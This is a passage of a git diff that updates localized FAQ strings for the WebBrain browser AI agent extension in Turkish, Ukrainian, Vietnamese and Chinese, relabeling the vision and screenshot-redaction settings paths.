uzunluğunda bir makale döndürdü diye bir çalışmanın 10 binden 100 bin token'a sessizce şişmesini görmezsin.</p><p><strong>Özel görme modeli.</strong> Planlama ve araç çağrıları için ucuz bir metin modelini (ör. GPT-4o-mini), yalnızca ekran görüntüleri için ayrı bir görme modeliyle (ör. GPT-4o) eşleştir; böylece her turda çok kipli model fiyatını ödemezsin. <strong>Ayarlar → Görme</strong> altında yapılandırılır.</p><p>Net sonuç: bulut sağlayıcılarıyla uzun oturumlar öngörülebilir kalır. Tam kontrol için yerel llama.cpp'yi kullan — token başına sıfır maliyet.</p>",
+ "faq.token_conscious.a_html": "<p>Üç bağımsız katman:</p><p><strong>Token bilincine sahip ekran görüntüleri.</strong> Herhangi bir görüntü makineden çıkmadan önce WebBrain onu yeniden boyutlandırır (kısa kenar sınırlanır, en-boy oranı korunur) ve tur başına görüntü token bütçesine sığana kadar yinelemeli olarak JPEG sıkıştırır. GPT-4o'da sana yaklaşık 1.500 giriş tokeni mal olacak 2000×1200 bir ekran görüntüsü, sayfa okuma görevlerinde pratik kayıp olmaksızın yaklaşık 300–500 tokene inerek sıkıştırılır. <code>_fitImageDimensions</code> içinde uygulanır, bütçe matematiği için birim testleri vardır.</p><p><strong>Akıllı bağlam kırpma.</strong> Konuşma geçmişi, araç çıktıları ve satır içi DOM dökümleri tur başına sınırlıdır ve aktif modelin bağlam penceresi dolmaya yaklaştığında önce en eskilerden kırpılır. Bir <code>read_page</code> roman uzunluğunda bir makale döndürdü diye bir çalışmanın 10 binden 100 bin token'a sessizce şişmesini görmezsin.</p><p><strong>Özel görme modeli.</strong> Planlama ve araç çağrıları için ucuz bir metin modelini (ör. GPT-4o-mini), yalnızca ekran görüntüleri için ayrı bir görme modeliyle (ör. GPT-4o) eşleştir; böylece her turda çok kipli model fiyatını ödemezsin. <strong>Ayarlar → Yardımcı Modeller → Görme</strong> altında yapılandırılır.</p><p>Net sonuç: bulut sağlayıcılarıyla uzun oturumlar öngörülebilir kalır. Tam kontrol için yerel llama.cpp'yi kullan — token başına sıfır maliyet.</p>",
"faq.contribute.q": "WebBrain'e katkıda bulunabilir miyim?",
"faq.contribute.a_html": "Kesinlikle! WebBrain GPL-3.0-or-later lisanslıdır ve katkılara açıktır. Issue'lar, özellik istekleri ve katkı kılavuzu için <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">GitHub deposuna</a> göz at.",
"oss.title": "%100 açık kaynak",
diff --git a/web/build/locales/uk.json b/web/build/locales/uk.json
index 4f038bdc6..bc1573a92 100644
--- a/web/build/locales/uk.json
+++ b/web/build/locales/uk.json
@@ -304,7 +304,7 @@
"faq.profile.q": "Як працює автозаповнення профілю і чи це безпечно?",
"faq.profile.a_html": "<p>Автозаповнення профілю — опціональна функція в <strong>Налаштування → Профіль</strong>. Ви пишете коротке біо — ім'я, робочий email, компанію та <em>одноразовий</em> пароль для маловажливих реєстрацій — і вмикаєте її. Коли її увімкнено, WebBrain додає цей текст до системного prompt агента, щоб той заповнював форми реєстрації, не запитуючи щоразу.</p><p>Текст зберігається <strong>у відкритому вигляді</strong> в локальному сховищі браузера. Він <strong>не</strong> надсилається в проєкт WebBrain, але <strong>надсилається</strong> тому LLM-провайдеру, якого ви налаштували, на кожному ходу як частина системного prompt. За замовчуванням вимкнено.</p><p><strong>Не вводьте сюди паролі важливих акаунтів</strong> (Google, Apple, iCloud, банк, корпоративний SSO, основна пошта). Ці акаунти мають бути з 2FA, і їх у будь-якому разі не варто віддавати агенту. Одноразовий пароль, який ви повторно використовуєте для розсилок і безкоштовних триалів, — те, що треба.</p>",
"faq.screenshot_redaction.q": "Чи гарантує налаштування редагування знімків екрана, що мої приватні дані ніколи не потраплять до хмарної моделі зору?",
- "faq.screenshot_redaction.a_html": "<p>Ні — воно зменшує ризик, але не є гарантією. Після ввімкнення (<strong>Налаштування → Мультимодальність → Редагування знімків екрана</strong>, за замовчуванням вимкнено) WebBrain пікселізує поля форм і текст, схожий на email-адресу чи номер телефону, на кожному знімку екрана <em>перед</em> надсиланням його моделі зору. Виявлення виконується повністю на вашому пристрої за допомогою евристик DOM; нічого зайвого не передається.</p><p><strong>Це робота за принципом «найкращих зусиль» і fail-open.</strong> Якщо детектор не може спрацювати на сторінці — наприклад, одразу після переходу, у переглядачах PDF або на обмежених сторінках браузера — знімок екрана все одно надсилається <em>невідредагованим</em>, замість того щоб перервати ваше завдання. Вміст, який евристики DOM не бачать (текст, намальований на canvas, персональні дані всередині зображень, незвичні віджети), теж може прослизнути. І налаштування стосується лише знімків екрана: текст сторінки, що надсилається моделі, ним не редагується.</p><p><strong>Для повної приватності зору використовуйте локальну модель.</strong> З офлайн-провайдером на кшталт llama.cpp чи Ollama знімки екрана і текст сторінки ніколи не покидають ваш пристрій, тож редагувати попросту нічого — це єдина конфігурація, де приватність гарантована. Див. «Чи можна користуватися WebBrain повністю офлайн?» вище.</p><p><strong>Немає потужного пристрою для локальної моделі з підтримкою зору?</strong> Гарний компроміс — невелика локальна модель для планування та викликів інструментів (достатньо легка для скромного CPU/GPU) у парі з хмарним провайдером для підзапитів зору, з увімкненим редагуванням знімків екрана. Ваша розмова і текст сторінки залишаються на пристрої, а кожен знімок, що йде до хмарного зору, вже має розмиті поля форм і виявлені email/телефони — менший ризик у хмарі без потреби в апаратному забезпеченні для повноцінної локальної моделі зору. Налаштуйте цей розподіл у <strong>Налаштування → Зір</strong> (див. «Як WebBrain тримає рахунки за хмарні LLM під контролем?» вище).</p>",
+ "faq.screenshot_redaction.a_html": "<p>Ні — воно зменшує ризик, але не є гарантією. Після ввімкнення (<strong>Налаштування → Допоміжні моделі → Зір → Редагування знімків екрана</strong>, за замовчуванням вимкнено) WebBrain пікселізує поля форм і текст, схожий на email-адресу чи номер телефону, на кожному знімку екрана <em>перед</em> надсиланням його моделі зору. Виявлення виконується повністю на вашому пристрої за допомогою евристик DOM; нічого зайвого не передається.</p><p><strong>Це робота за принципом «найкращих зусиль» і fail-open.</strong> Якщо детектор не може спрацювати на сторінці — наприклад, одразу після переходу, у переглядачах PDF або на обмежених сторінках браузера — знімок екрана все одно надсилається <em>невідредагованим</em>, замість того щоб перервати ваше завдання. Вміст, який евристики DOM не бачать (текст, намальований на canvas, персональні дані всередині зображень, незвичні віджети), теж може прослизнути. І налаштування стосується лише знімків екрана: текст сторінки, що надсилається моделі, ним не редагується.</p><p><strong>Для повної приватності зору використовуйте локальну модель.</strong> З офлайн-провайдером на кшталт llama.cpp чи Ollama знімки екрана і текст сторінки ніколи не покидають ваш пристрій, тож редагувати попросту нічого — це єдина конфігурація, де приватність гарантована. Див. «Чи можна користуватися WebBrain повністю офлайн?» вище.</p><p><strong>Немає потужного пристрою для локальної моделі з підтримкою зору?</strong> Гарний компроміс — невелика локальна модель для планування та викликів інструментів (достатньо легка для скромного CPU/GPU) у парі з хмарним провайдером для підзапитів зору, з увімкненим редагуванням знімків екрана. Ваша розмова і текст сторінки залишаються на пристрої, а кожен знімок, що йде до хмарного зору, вже має розмиті поля форм і виявлені email/телефони — менший ризик у хмарі без потреби в апаратному забезпеченні для повноцінної локальної моделі зору. Налаштуйте цей розподіл у <strong>Налаштування → Допоміжні моделі → Зір</strong> (див. «Як WebBrain тримає рахунки за хмарні LLM під контролем?» вище).</p>",
"faq.cookies_paywalls.q": "Що WebBrain робить з cookie-банерами та paywall'ами?",
"faq.cookies_paywalls.a_html": "<p><strong>Cookie-банери:</strong> WebBrain розпізнає банери згоди популярних фреймворків (OneTrust, Cookiebot, Didomi, Quantcast, Google Funding Choices, TrustArc) і закриває їх, перш ніж починати міркувати про сторінку. Пріоритет — «Відхилити все» / «Відхилити необов'язкові» / «Лише необхідні», якщо вони видимі; інакше погоджується на «Прийняти все», аби не тонути в лабіринті «Керування налаштуваннями».</p><p><strong>Paywall:</strong> WebBrain чесно повідомляє про paywall і розповідає, що реально зміг побачити (заголовок, підзаголовок, перші абзаци). Він <strong>не</strong> намагається обійти paywall — жодних archine.today, 12ft.io, чистки cookie, вимкнення JS чи трюків з reader-mode. Потрібна вся стаття — увійдіть за підпискою або попросіть WebBrain пошукати безкоштовне висвітлення тієї самої історії.</p>",
"faq.multilingual.q": "Чи підтримує WebBrain режим dry-run?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "Як WebBrain тримає рахунки за хмарні LLM під контролем?",
- "faq.token_conscious.a_html": "<p>Три незалежні шари:</p><p><strong>Скриншоти з турботою про токени.</strong> Перш ніж будь-яке зображення покине вашу машину, WebBrain зменшує його (коротка сторона обмежена, пропорції зберігаються) та ітеративно стискає в JPEG, доки воно не вмiститься в бюджет image-токенів на хід. Скриншот 2000×1200, який на GPT-4o обійшовся б приблизно у 1500 вхідних токенів, стискається до ~300–500 токенів без реальної втрати для задач читання сторінок. Реалізовано у <code>_fitImageDimensions</code>, є юніт-тести на розрахунок бюджету.</p><p><strong>Розумне підрізання контексту.</strong> Історія діалогу, виводи інструментів і вбудовані дампи DOM обмежені на хід і підрізаються від найстаршого, коли контекстне вікно активної моделі наближається до повного. Ви не побачите, як сесія тихо роздувається з 10k токенів до 100k через те, що <code>read_page</code> повернув статтю завдовжки з роман.</p><p><strong>Окрема vision-модель.</strong> Пара: дешева текстова модель (наприклад, GPT-4o-mini) для планування і tool-викликів плюс окрема vision-модель (наприклад, GPT-4o) лише для скриншотів — і ви не платите ціну мультимодальної моделі на кожному ходу. Налаштовується в <strong>Налаштування → Зір</strong>.</p><p>Підсумок: довгі сесії з хмарними провайдерами лишаються передбачуваними. Для повного контролю — підіймайте llama.cpp локально, ціна за токен нульова.</p>",
+ "faq.token_conscious.a_html": "<p>Три незалежні шари:</p><p><strong>Скриншоти з турботою про токени.</strong> Перш ніж будь-яке зображення покине вашу машину, WebBrain зменшує його (коротка сторона обмежена, пропорції зберігаються) та ітеративно стискає в JPEG, доки воно не вмiститься в бюджет image-токенів на хід. Скриншот 2000×1200, який на GPT-4o обійшовся б приблизно у 1500 вхідних токенів, стискається до ~300–500 токенів без реальної втрати для задач читання сторінок. Реалізовано у <code>_fitImageDimensions</code>, є юніт-тести на розрахунок бюджету.</p><p><strong>Розумне підрізання контексту.</strong> Історія діалогу, виводи інструментів і вбудовані дампи DOM обмежені на хід і підрізаються від найстаршого, коли контекстне вікно активної моделі наближається до повного. Ви не побачите, як сесія тихо роздувається з 10k токенів до 100k через те, що <code>read_page</code> повернув статтю завдовжки з роман.</p><p><strong>Окрема vision-модель.</strong> Пара: дешева текстова модель (наприклад, GPT-4o-mini) для планування і tool-викликів плюс окрема vision-модель (наприклад, GPT-4o) лише для скриншотів — і ви не платите ціну мультимодальної моделі на кожному ходу. Налаштовується в <strong>Налаштування → Допоміжні моделі → Зір</strong>.</p><p>Підсумок: довгі сесії з хмарними провайдерами лишаються передбачуваними. Для повного контролю — підіймайте llama.cpp локально, ціна за токен нульова.</p>",
"faq.contribute.q": "Чи можу я долучитися до WebBrain?",
"faq.contribute.a_html": "Звісно! WebBrain під ліцензією GPL-3.0-or-later і вітає внески. Зазирніть у <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">репозиторій на GitHub</a> — там issue, запити фіч та правила контрибуції.",
"oss.title": "100% open-source",
diff --git a/web/build/locales/vi.json b/web/build/locales/vi.json
index 23619d8b4..b479bda32 100644
--- a/web/build/locales/vi.json
+++ b/web/build/locales/vi.json
@@ -304,7 +304,7 @@
"faq.profile.q": "Tính năng tự động điền hồ sơ hoạt động như thế nào và có an toàn không?",
"faq.profile.a_html": "<p>Tự động điền hồ sơ là một tính năng tùy chọn trong <strong>Cài đặt → Hồ sơ</strong>. Bạn nhập một tiểu sử ngắn gọn — tên, email công việc, công ty và địa chỉ <em>đồ bỏ đi</em> mật khẩu dành cho những người đăng ký có mức đặt cược thấp — và bật nó lên. Khi được bật, WebBrain sẽ thêm văn bản đó vào lời nhắc hệ thống của tổng đài viên để nó có thể điền vào biểu mẫu đăng ký mà không cần phải hỏi mọi lúc.</p><p>Văn bản được lưu trữ <strong>trong bản rõ</strong> trong bộ nhớ cục bộ của trình duyệt của bạn. Đó là <strong>không</strong> được truyền tới dự án WebBrain, nhưng nó <strong>là</strong> được gửi tới bất kỳ nhà cung cấp LLM nào mà bạn đã định cấu hình mỗi lần, như một phần của lời nhắc hệ thống. Tắt theo mặc định.</p><p><strong>Không đặt mật khẩu cho những tài khoản quan trọng</strong> (Google, Apple, iCloud, ngân hàng, SSO cơ quan, email chính) tại đây. Những tài khoản đó nên sử dụng 2FA và không nên giao cho đại lý. Mật khẩu dùng một lần mà bạn sử dụng lại để đăng ký bản tin và dùng thử miễn phí là trường hợp sử dụng dự kiến.</p>",
"faq.screenshot_redaction.q": "Cài đặt chỉnh sửa Ảnh chụp màn hình có đảm bảo dữ liệu riêng tư của tôi không bao giờ đạt tới mô hình thị giác trên đám mây không?",
- "faq.screenshot_redaction.a_html": "<p>Không - nó làm giảm mức độ phơi nhiễm, nó không phải là sự đảm bảo. Khi được bật (<strong>Cài đặt → Đa chế độ → Chỉnh sửa ảnh chụp màn hình</strong>, tắt theo mặc định), WebBrain tạo pixel các trường biểu mẫu và văn bản trông giống địa chỉ email hoặc số điện thoại trên mỗi ảnh chụp màn hình <em>trước đây</em> nó được gửi đến một mô hình tầm nhìn. Tính năng phát hiện chạy hoàn toàn trên thiết bị của bạn bằng phương pháp phỏng đoán DOM; không có gì thêm được truyền đi.</p><p><strong>Đó là nỗ lực tốt nhất và thất bại.</strong> Nếu trình phát hiện không thể chạy trên một trang — ví dụ: ngay sau khi điều hướng, trên trình xem PDF hoặc trên các trang trình duyệt bị hạn chế — thì ảnh chụp màn hình vẫn được gửi <em>chưa được biên soạn</em> thay vì hủy bỏ nhiệm vụ của bạn. Nội dung mà phương pháp chẩn đoán DOM không thể nhìn thấy (văn bản được vẽ trên canvas, hình ảnh PII bên trong, các vật dụng bất thường) cũng có thể bị lọt qua. Và cài đặt chỉ bao gồm ảnh chụp màn hình: trang <em>văn bản</em> được gửi đến mô hình không bị nó biên tập lại.</p><p><strong>Để có được sự riêng tư toàn diện về tầm nhìn, hãy sử dụng mô hình cục bộ.</strong> Với nhà cung cấp ngoại tuyến như llama.cpp hoặc Ollama, ảnh chụp màn hình và văn bản trang sẽ không bao giờ rời khỏi máy của bạn, do đó, không có gì cần chỉnh sửa ngay từ đầu — đó là cấu hình duy nhất đảm bảo quyền riêng tư. Xem \"Tôi có thể sử dụng WebBrain hoàn toàn ngoại tuyến không?\" bên trên.</p><p><strong>Bạn không có máy có thể chạy mô hình địa phương có khả năng nhìn?</strong> Nền tảng trung bình tốt là một mô hình cục bộ nhỏ để lập kế hoạch và gọi công cụ (đủ nhanh và nhẹ cho CPU/GPU khiêm tốn) được ghép nối với nhà cung cấp đám mây cho các lệnh gọi phụ tầm nhìn, có bật tính năng chỉnh sửa Ảnh chụp màn hình. Bạn vẫn giữ cuộc trò chuyện và văn bản trên trang của mình trên thiết bị, đồng thời mọi ảnh chụp màn hình dành cho chế độ xem trên đám mây đều có các trường biểu mẫu và email/điện thoại được phát hiện trước tiên sẽ bị làm mờ — giảm mức độ hiển thị trên đám mây mà không cần phần cứng cho mô hình tầm nhìn cục bộ đầy đủ. Định cấu hình phân chia tầm nhìn bên dưới <strong>Cài đặt → Tầm nhìn</strong> (xem \"WebBrain làm cách nào để kiểm soát hóa đơn LLM trên đám mây?\" ở trên).</p>",
+ "faq.screenshot_redaction.a_html": "<p>Không - nó làm giảm mức độ phơi nhiễm, nó không phải là sự đảm bảo. Khi được bật (<strong>Cài đặt → Mô hình hỗ trợ → Tầm nhìn → Chỉnh sửa ảnh chụp màn hình</strong>, tắt theo mặc định), WebBrain tạo pixel các trường biểu mẫu và văn bản trông giống địa chỉ email hoặc số điện thoại trên mỗi ảnh chụp màn hình <em>trước đây</em> nó được gửi đến một mô hình tầm nhìn. Tính năng phát hiện chạy hoàn toàn trên thiết bị của bạn bằng phương pháp phỏng đoán DOM; không có gì thêm được truyền đi.</p><p><strong>Đó là nỗ lực tốt nhất và thất bại.</strong> Nếu trình phát hiện không thể chạy trên một trang — ví dụ: ngay sau khi điều hướng, trên trình xem PDF hoặc trên các trang trình duyệt bị hạn chế — thì ảnh chụp màn hình vẫn được gửi <em>chưa được biên soạn</em> thay vì hủy bỏ nhiệm vụ của bạn. Nội dung mà phương pháp chẩn đoán DOM không thể nhìn thấy (văn bản được vẽ trên canvas, hình ảnh PII bên trong, các vật dụng bất thường) cũng có thể bị lọt qua. Và cài đặt chỉ bao gồm ảnh chụp màn hình: trang <em>văn bản</em> được gửi đến mô hình không bị nó biên tập lại.</p><p><strong>Để có được sự riêng tư toàn diện về tầm nhìn, hãy sử dụng mô hình cục bộ.</strong> Với nhà cung cấp ngoại tuyến như llama.cpp hoặc Ollama, ảnh chụp màn hình và văn bản trang sẽ không bao giờ rời khỏi máy của bạn, do đó, không có gì cần chỉnh sửa ngay từ đầu — đó là cấu hình duy nhất đảm bảo quyền riêng tư. Xem \"Tôi có thể sử dụng WebBrain hoàn toàn ngoại tuyến không?\" bên trên.</p><p><strong>Bạn không có máy có thể chạy mô hình địa phương có khả năng nhìn?</strong> Nền tảng trung bình tốt là một mô hình cục bộ nhỏ để lập kế hoạch và gọi công cụ (đủ nhanh và nhẹ cho CPU/GPU khiêm tốn) được ghép nối với nhà cung cấp đám mây cho các lệnh gọi phụ tầm nhìn, có bật tính năng chỉnh sửa Ảnh chụp màn hình. Bạn vẫn giữ cuộc trò chuyện và văn bản trên trang của mình trên thiết bị, đồng thời mọi ảnh chụp màn hình dành cho chế độ xem trên đám mây đều có các trường biểu mẫu và email/điện thoại được phát hiện trước tiên sẽ bị làm mờ — giảm mức độ hiển thị trên đám mây mà không cần phần cứng cho mô hình tầm nhìn cục bộ đầy đủ. Định cấu hình phân chia tầm nhìn bên dưới <strong>Cài đặt → Mô hình hỗ trợ → Tầm nhìn</strong> (xem \"WebBrain làm cách nào để kiểm soát hóa đơn LLM trên đám mây?\" ở trên).</p>",
"faq.cookies_paywalls.q": "WebBrain làm gì với biểu ngữ cookie và tường phí?",
"faq.cookies_paywalls.a_html": "<p><strong>Biểu ngữ bánh quy:</strong> WebBrain nhận dạng các biểu ngữ lấy sự đồng ý từ các khuôn khổ phổ biến (OneTrust, Cookiebot, Didomi, Quantcast, Google Funding Choices, TrustArc) và loại bỏ chúng trước khi đưa ra lý do về trang. Ưu tiên là \"Từ chối tất cả\" / \"Từ chối không cần thiết\" / \"Chỉ cần thiết\" khi nhìn thấy rõ ràng; nó quay trở lại \"Chấp nhận tất cả\" thay vì biến mất trong mê cung \"Quản lý tùy chọn\".</p><p><strong>Tường phí:</strong> WebBrain báo cáo tường phí một cách trung thực và cho bạn biết những gì nó thực sự có thể nhìn thấy (tiêu đề, nội dung, đoạn đầu tiên). Nó có <strong>không</strong> cố gắng vượt qua các bức tường thanh toán - không có archive.today, 12ft.io, xóa cookie, vô hiệu hóa JS hoặc các thủ thuật ở chế độ đọc. Nếu bạn muốn có toàn bộ bài viết, hãy đăng nhập bằng cách đăng ký hoặc yêu cầu WebBrain tìm kiếm bản tin miễn phí về cùng một câu chuyện.</p>",
"faq.multilingual.q": "WebBrain có hỗ trợ chế độ chạy khô không?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "WebBrain kiểm soát hóa đơn LLM trên đám mây như thế nào?",
- "faq.token_conscious.a_html": "<p>Ba lớp độc lập:</p><p><strong>Ảnh chụp màn hình có ý thức về mã thông báo.</strong> Trước khi bất kỳ hình ảnh nào rời khỏi máy của bạn, WebBrain sẽ thay đổi kích thước hình ảnh đó (giới hạn cạnh ngắn hơn, giữ nguyên tỷ lệ khung hình) và nén JPEG lặp đi lặp lại cho đến khi phù hợp với ngân sách mã thông báo hình ảnh mỗi lượt. Ảnh chụp màn hình 2000×1200 sẽ tiêu tốn của bạn ~1.500 mã thông báo đầu vào trên GPT-4o sẽ được nén xuống ~300–500 mã thông báo mà không gây tổn thất thực tế nào cho các tác vụ đọc trang. Thực hiện tại <code>_fitImageDimensions</code> với các bài kiểm tra đơn vị cho môn toán ngân sách.</p><p><strong>Cắt tỉa bối cảnh thông minh.</strong> Lịch sử hội thoại, kết quả đầu ra của công cụ và kết xuất DOM nội tuyến được giới hạn mỗi lượt và được cắt bớt cũ nhất trước tiên khi cửa sổ ngữ cảnh của mô hình đang hoạt động sắp đầy. Bạn sẽ không thấy bong bóng đang chạy âm thầm từ 10k token lên 100k vì một <code>read_page</code> đã trả lại một bài báo dài như tiểu thuyết.</p><p><strong>Mô hình tầm nhìn chuyên dụng.</strong> Ghép nối một mô hình văn bản giá rẻ (ví dụ: GPT-4o-mini) để lập kế hoạch và gọi công cụ với một mô hình có khả năng hiển thị riêng biệt (ví dụ: GPT-4o) chỉ dành cho ảnh chụp màn hình, do đó, bạn không phải trả giá cho mô hình đa phương thức cho mỗi lượt. Cấu hình dưới <strong>Cài đặt → Tầm nhìn</strong>.</p><p>Kết quả cuối cùng: các phiên dài với các nhà cung cấp đám mây luôn có thể dự đoán được. Để có toàn quyền kiểm soát, hãy sử dụng llama.cpp cục bộ — không tốn phí cho mỗi mã thông báo.</p>",
+ "faq.token_conscious.a_html": "<p>Ba lớp độc lập:</p><p><strong>Ảnh chụp màn hình có ý thức về mã thông báo.</strong> Trước khi bất kỳ hình ảnh nào rời khỏi máy của bạn, WebBrain sẽ thay đổi kích thước hình ảnh đó (giới hạn cạnh ngắn hơn, giữ nguyên tỷ lệ khung hình) và nén JPEG lặp đi lặp lại cho đến khi phù hợp với ngân sách mã thông báo hình ảnh mỗi lượt. Ảnh chụp màn hình 2000×1200 sẽ tiêu tốn của bạn ~1.500 mã thông báo đầu vào trên GPT-4o sẽ được nén xuống ~300–500 mã thông báo mà không gây tổn thất thực tế nào cho các tác vụ đọc trang. Thực hiện tại <code>_fitImageDimensions</code> với các bài kiểm tra đơn vị cho môn toán ngân sách.</p><p><strong>Cắt tỉa bối cảnh thông minh.</strong> Lịch sử hội thoại, kết quả đầu ra của công cụ và kết xuất DOM nội tuyến được giới hạn mỗi lượt và được cắt bớt cũ nhất trước tiên khi cửa sổ ngữ cảnh của mô hình đang hoạt động sắp đầy. Bạn sẽ không thấy bong bóng đang chạy âm thầm từ 10k token lên 100k vì một <code>read_page</code> đã trả lại một bài báo dài như tiểu thuyết.</p><p><strong>Mô hình tầm nhìn chuyên dụng.</strong> Ghép nối một mô hình văn bản giá rẻ (ví dụ: GPT-4o-mini) để lập kế hoạch và gọi công cụ với một mô hình có khả năng hiển thị riêng biệt (ví dụ: GPT-4o) chỉ dành cho ảnh chụp màn hình, do đó, bạn không phải trả giá cho mô hình đa phương thức cho mỗi lượt. Cấu hình dưới <strong>Cài đặt → Mô hình hỗ trợ → Tầm nhìn</strong>.</p><p>Kết quả cuối cùng: các phiên dài với các nhà cung cấp đám mây luôn có thể dự đoán được. Để có toàn quyền kiểm soát, hãy sử dụng llama.cpp cục bộ — không tốn phí cho mỗi mã thông báo.</p>",
"faq.contribute.q": "Tôi có thể đóng góp cho WebBrain không?",
"faq.contribute.a_html": "Chắc chắn rồi! WebBrain được GPL-3.0-or-later cấp phép và hoan nghênh những đóng góp. Kiểm tra <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">Kho lưu trữ GitHub</a> về các vấn đề, yêu cầu tính năng và hướng dẫn đóng góp.",
"oss.title": "Nguồn mở 100%",
diff --git a/web/build/locales/zh.json b/web/build/locales/zh.json
index 4c7468cff..7de08da02 100644
--- a/web/build/locales/zh.json
+++ b/web/build/locales/zh.json
@@ -304,7 +304,7 @@
"faq.profile.q": "个人资料自动填写如何工作?它安全吗?",
"faq.profile.a_html": "<p>个人资料自动填写是 <strong>设置 → 个人资料</strong> 中的可选功能。你输入一段简短的自述 —— 姓名、工作邮箱、公司以及用于低风险注册的<em>一次性</em>密码 —— 然后将其打开。启用后,WebBrain 会将这段文本附加到代理的系统提示中,这样它就能无需每次询问即可填写注册表单。</p><p>该文本以<strong>明文</strong>保存在浏览器的本地存储中。它<strong>不会</strong>被传送到 WebBrain 项目,但<strong>会</strong>在每一轮作为系统提示的一部分发送给你配置的 LLM 提供商。默认关闭。</p><p><strong>不要在此放置重要账户的密码</strong>(Google、Apple、iCloud、银行、公司 SSO、主邮箱)。这些账户应启用 2FA,而且本就不该交给代理。预期用途是你在订阅通讯和免费试用注册时反复使用的一次性密码。</p>",
"faq.screenshot_redaction.q": "截图打码设置能保证我的隐私数据永远不会到达云端视觉模型吗?",
- "faq.screenshot_redaction.a_html": "<p>不能——它只是降低了暴露风险,并不是保证。启用后(<strong>设置 → 多模态 → 截图打码</strong>,默认关闭),WebBrain 会在每张截图发送给视觉模型<em>之前</em>,对表单字段以及看起来像邮箱地址或电话号码的文本进行打码。检测完全在你的设备上通过 DOM 启发式方法运行;不会额外传输任何内容。</p><p><strong>这是尽力而为且失败开放(fail-open)的处理。</strong>如果检测器无法在某个页面上运行——例如刚导航完成之后、在 PDF 查看器中,或在受限的浏览器页面上——截图仍会以<em>未打码</em>的原样发送,而不会中止你的任务。DOM 启发式方法看不到的内容(canvas 上绘制的文字、图片中的个人信息、不常见的组件)同样可能被遗漏。而且该设置只覆盖截图:发送给模型的页面<em>文本</em>不会被它打码。</p><p><strong>若需要完全的视觉隐私,请使用本地模型。</strong>使用 llama.cpp 或 Ollama 等离线提供方时,截图和页面文本永远不会离开你的设备,因此从一开始就没有需要打码的内容——这是唯一能保证隐私的配置。参见上文的\"我能完全离线使用 WebBrain 吗?\"。</p><p><strong>没有能运行支持视觉的本地模型的设备?</strong>一个不错的折中方案是:用一个体积小的本地模型负责规划和工具调用(轻量到普通 CPU/GPU 也能胜任),再搭配一个云端提供方负责视觉子调用,同时开启截图打码。这样你的对话和页面文本仍留在本地,而每一张发往云端视觉的截图都已先对表单字段和检测到的邮箱/电话进行了打码——在不需要完整本地视觉模型硬件的情况下减少了云端暴露。请在<strong>设置 → 视觉</strong>中配置这种拆分(参见上文的\"WebBrain 如何控制云端 LLM 的账单?\")。</p>",
+ "faq.screenshot_redaction.a_html": "<p>不能——它只是降低了暴露风险,并不是保证。启用后(<strong>设置 → 辅助模型 → 视觉 → 截图打码</strong>,默认关闭),WebBrain 会在每张截图发送给视觉模型<em>之前</em>,对表单字段以及看起来像邮箱地址或电话号码的文本进行打码。检测完全在你的设备上通过 DOM 启发式方法运行;不会额外传输任何内容。</p><p><strong>这是尽力而为且失败开放(fail-open)的处理。</strong>如果检测器无法在某个页面上运行——例如刚导航完成之后、在 PDF 查看器中,或在受限的浏览器页面上——截图仍会以<em>未打码</em>的原样发送,而不会中止你的任务。DOM 启发式方法看不到的内容(canvas 上绘制的文字、图片中的个人信息、不常见的组件)同样可能被遗漏。而且该设置只覆盖截图:发送给模型的页面<em>文本</em>不会被它打码。</p><p><strong>若需要完全的视觉隐私,请使用本地模型。</strong>使用 llama.cpp 或 Ollama 等离线提供方时,截图和页面文本永远不会离开你的设备,因此从一开始就没有需要打码的内容——这是唯一能保证隐私的配置。参见上文的\"我能完全离线使用 WebBrain 吗?\"。</p><p><strong>没有能运行支持视觉的本地模型的设备?</strong>一个不错的折中方案是:用一个体积小的本地模型负责规划和工具调用(轻量到普通 CPU/GPU 也能胜任),再搭配一个云端提供方负责视觉子调用,同时开启截图打码。这样你的对话和页面文本仍留在本地,而每一张发往云端视觉的截图都已先对表单字段和检测到的邮箱/电话进行了打码——在不需要完整本地视觉模型硬件的情况下减少了云端暴露。请在<strong>设置 → 辅助模型 → 视觉</strong>中配置这种拆分(参见上文的\"WebBrain 如何控制云端 LLM 的账单?\")。</p>",
"faq.cookies_paywalls.q": "WebBrain 如何处理 Cookie 横幅和付费墙?",
"faq.cookies_paywalls.a_html": "<p><strong>Cookie 横幅:</strong>WebBrain 能识别常见框架(OneTrust、Cookiebot、Didomi、Quantcast、Google Funding Choices、TrustArc)的同意横幅,并在对页面进行推理之前将其关闭。当「全部拒绝」/「拒绝非必要」/「仅必要」清晰可见时优先选择这些选项;否则会退而点击「全部接受」,而不是陷入「管理偏好」的迷宫。</p><p><strong>付费墙:</strong>WebBrain 会如实报告付费墙,并告诉你它实际看到了什么(标题、副标题、开头几段)。它<strong>不会</strong>尝试绕过付费墙 —— 不使用 archive.today、12ft.io、不清除 Cookie、不禁用 JS、不使用阅读模式小技巧。如果你想要完整文章,请使用订阅登录,或请 WebBrain 搜索同一报道的免费报道。</p>",
"faq.multilingual.q": "WebBrain 支持 dry-run(演练)模式吗?",
@@ -314,7 +314,7 @@
